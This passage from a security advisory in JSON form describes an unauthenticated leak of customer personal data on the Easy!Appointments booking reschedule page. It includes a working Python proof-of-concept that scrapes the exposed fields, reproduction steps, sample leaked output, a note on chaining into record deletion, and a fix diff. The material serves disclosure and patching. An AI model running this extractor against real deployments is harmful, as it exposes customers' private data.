`html_vars(\u0027appointment_hash\u0027)` (Booking.php:184).\n- **Intermediate**: `appointments_model-\u003eget([\u0027hash\u0027 =\u003e $hash])` \u2192 row fetched; `customers_model-\u003efind($appointment[\u0027id_users_customer\u0027])` returns the full customers row.\n- **Sink**: `script_vars([\u0027customer_data\u0027 =\u003e $customer, ...])` (Booking.php:254-270) emits inline `const vars = {..., \"customer_data\": {...}, ...}` JavaScript in the response HTML.\n\n### Fields disclosed\n\nConfirmed in PoC output (canary values used as markers):\n\n```\ncustomer_data: {\n  \"id\": 4,\n  \"first_name\": \"Victim\",\n  \"last_name\": \"Tester\",\n  \"email\": \"victim.disclosure@example.invalid\",\n  \"phone_number\": \"+1-555-0100\",\n  \"address\": \"100 Privacy Lane\",\n  \"city\": \"Sensitiveville\",\n  \"zip_code\": \"00001\",\n  \"timezone\": \"UTC\",\n  \"language\": \"english\",\n  \"custom_field_1\": \"CFLD1-CANARY\",\n  \"is_private\": \"0\",\n  \"ldap_dn\": null,\n  \"id_roles\": 3\n}\n```\n\nFields that would also leak when populated: `mobile_number`, `state`, `notes` (free-form, operators often store sensitive context here), `custom_field_2`\u2013`custom_field_5`, `ldap_dn`.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\n# poc_001_easyapp_pii_disclosure.py \u2014 exploit mode (extract from attached PoC)\nimport argparse, json, re, sys, requests\n\nPII_FIELDS = [\"email\",\"phone_number\",\"mobile_number\",\"address\",\"city\",\"state\",\n              \"zip_code\",\"notes\",\"custom_field_1\",\"custom_field_2\",\"custom_field_3\",\n              \"custom_field_4\",\"custom_field_5\",\"ldap_dn\"]\n\ndef exploit(target, hash_):\n    url = f\"{target}/index.php/booking/reschedule/{hash_}\"\n    r = requests.get(url, timeout=15); r.raise_for_status()\n    m = re.search(r\"const\\s+vars\\s*=\\s*(\\{.*?\\});\", r.text, re.DOTALL)\n    ea = json.loads(m.group(1))\n    customer = ea.get(\"customer_data\") or {}\n    leaked = 0\n    for f in PII_FIELDS:\n        if customer.get(f) not in (None, \"\", 0):\n            print(f\"  {f:18s} = {customer[f]!r}\"); leaked += 1\n    print(f\"[+] disclosed {leaked} PII fields without auth\")\n    return leaked\n\nif __name__ == \"__main__\":\n    p = argparse.ArgumentParser()\n    p.add_argument(\"--target\", default=\"http://localhost:8000\")\n    p.add_argument(\"--hash\", required=True)\n    a = p.parse_args()\n    sys.exit(0 if exploit(a.target, a.hash) \u003e 0 else 1)\n```\n\n### Reproduction\n\n1. Bring up the lab from the project\u0027s official `docker-compose.yml` (pinned to v1.5.2). Complete the one-time install at `/index.php/installation` (or `php index.php console install` from the php-fpm container).\n2. Book one appointment through the public flow (the bundled `--seed` helper does this automatically and prints the resulting hash).\n3. Run the unauthenticated extractor:\n   ```\n   python3 poc_001_easyapp_pii_disclosure.py --target http://localhost:8000 --hash \u003cHASH\u003e\n   ```\n4. Observed output (verified 5/5 consecutive runs):\n   ```\n   email              = \u0027victim.disclosure@example.invalid\u0027\n   phone_number       = \u0027+1-555-0100\u0027\n   address            = \u0027100 Privacy Lane\u0027\n   city               = \u0027Sensitiveville\u0027\n   zip_code           = \u002700001\u0027\n   custom_field_1     = \u0027CFLD1-CANARY\u0027\n   [+] DISCLOSURE CONFIRMED -- 6 PII field(s) accessible without auth.\n   ```\n\nThe PoC and its docker-compose reproduction environment are attached.\n\n## Impact\n\nA single anonymous GET request returns the customer\u0027s full record. The `appointment_hash` is not a secret to the customer \u2014 it appears in every reschedule email, every confirmation page URL, and the operator-side calendar reschedule link. So it leaks through the usual side channels: email forwarding, shared inboxes, mail-server logs, browser history, HTTP `Referer` headers when the customer clicks an outbound link from the reschedule page.\n\nFor a typical Easy!Appointments deployment (medical clinics, salons, legal/tutoring consultancies, hairdressers) the disclosed fields include regulated personal information \u2014 GDPR Article 5(1)(f) / Article 32 confidentiality, HIPAA contact-data exposure, and equivalent regional regimes. The free-form `notes` and the five configurable custom fields are frequently used by operators to store sensitive supplementary data (health context, insurance number, allergies, DOB, government ID).\n\nA secondary chain worth flagging: the same response emits `customer_token`, a 600-second cache key bound to the customer ID. If `display_delete_personal_information` is enabled, an attacker holding the hash can also trigger a customer-record deletion at `/privacy/delete_personal_information` using the disclosed token \u2014 escalating an information-disclosure issue into a destructive one. Treating that as a secondary concern, out of scope for this report.\n\n## Workarounds\n\nOperators can mitigate temporarily by:\n1. Disabling the reschedule link in confirmation emails (in `Booking_settings`/`Email_settings` templates), forcing customers to re-book instead.\n2. Disabling the public booking page entirely (`disable_booking` setting) for deployments that can tolerate it.\n\nNeither workaround removes the root cause; an attacker who already holds a hash can still extract.\n\n## Suggested fix\n\nWhitelist customer fields before inlining. The reschedule UI only needs first/last name:\n\n```diff\n--- a/application/controllers/Booking.php\n+++ b/application/controllers/Booking.php\n@@ -239,7 +239,12 @@ class Booking extends EA_Controller\n             $appointment = $results[0];\n             $provider = $this-\u003eproviders_model-\u003efind($appointment[\u0027id_users_provider\u0027]);\n-            $customer = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer_record = $this-\u003ecustomers_model-\u003efind($appointment[\u0027id_users_customer\u0027]);\n+            $customer = [\n+                \u0027id\u0027         =\u003e $customer_record[\u0027id\u0027],\n+                \u0027first_name\u0027 =\u003e $customer_record[\u0027first_name\u0027],\n+                \u0027last_name\u0027  =\u003e $customer_record[\u0027last_name\u0027],\n+            ];\n             $customer_token = md5(uniqid(mt_rand(), true));\n```\n\nThe same pattern likely needs auditing in `Booking_confirmation::of()` and `Booking_cancellation::of()` \u2014 anywhere the customer record is loaded and inlined into a publicly-reachable view.\n\n## Credits\n\n- Discovered through source-code audit by peoplstar\n\n## References\n\n- `application/controllers/Booking.php` lines 184-270 (v1.5.2)\n- `application/models/Customers_model.php::find` \u2014 returns the full row, no projection\n- `application/config/config.php` `csrf_exclude_uris` \u2014 whitelisting `booking/.*`\n- Related prior PR #1753 (permission checks on appointment search) \u2014 same project, adjacent code, vendor previously accepted this class of issue.\n\n\n\n[docker-compose.yml](https://github.com/user-attachments/files/27761710/docker-compose.yml)\n[easyapp_pii_disclosure.py](https://github.com/user-attachments/files/27761711/easyapp_pii_disclosure.py)\n[requirements.txt](https://github.com/user-attachments/files/27761712/requirements.txt)\n[consistency_test.txt](https://github.com/user-attachments/files/27761722/consistency_test.txt)\n[leaked_customer_data.txt](https://github.com/user-attachments/files/27761723/leaked_customer_data.txt)",
  "id": "GHSA-xgr6-pqjv-3pf8",
  "modified": "2026-07-29T16:28:23Z",
  "published": "2026-07-29T16:28:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-xgr6-pqjv-3pf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52837"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/commit/40bb0b31b531540bc9006efce4220eb0a437ed2b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/alextselegidis/easyappointments"
    },
    {
      "type": "WEB",
      "url": "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Easy!Appointments has unauthenticated customer PII disclosure on booking reschedule page"
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list